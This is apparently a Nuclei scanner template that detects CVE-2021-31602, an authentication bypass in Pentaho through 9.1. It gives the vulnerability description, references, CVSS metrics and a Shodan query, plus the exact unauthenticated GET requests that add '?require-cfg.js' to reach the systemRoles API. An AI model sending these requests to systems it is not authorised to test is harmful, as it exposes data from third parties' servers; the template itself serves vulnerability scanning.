id: CVE-2021-31602

info:
  name: Pentaho <= 9.1 Authentication Bypass of Spring APIs
  author: pussycat0x
  severity: high
  description: An issue was discovered in Hitachi Vantara Pentaho through 9.1 and Pentaho Business Intelligence Server through 7.x. The Security Model has different layers of Access Control. One of these layers is the applicationContext security, which is defined in the applicationContext-spring-security.xml file. The default configuration allows an unauthenticated user with no previous knowledge of the platform settings to extract pieces of information without possessing valid credentials.
  reference:
    - https://seclists.org/fulldisclosure/2021/Nov/13
    - https://portswigger.net/daily-swig/remote-code-execution-sql-injection-bugs-uncovered-in-pentaho-business-analytics-software
    - https://hawsec.com/publications/pentaho/HVPENT210401-Pentaho-BA-Security-Assessment-Report-v1_1.pdf
    - https://www.hitachi.com/hirt/security/index.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-31602
    cwe-id: CWE-863
  metadata:
    shodan-query: Pentaho
  tags: cve,cve2021,pentaho,auth-bypass,spring

requests:
  - method: GET
    path:
      - "{{BaseURL}}/pentaho/api/userrolelist/systemRoles?require-cfg.js"
      - "{{BaseURL}}/api/userrolelist/systemRoles?require-cfg.js"

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<roleList>'
          - '<roles>Anonymous</roles>'
        condition: and

      - type: status
        status:
          - 200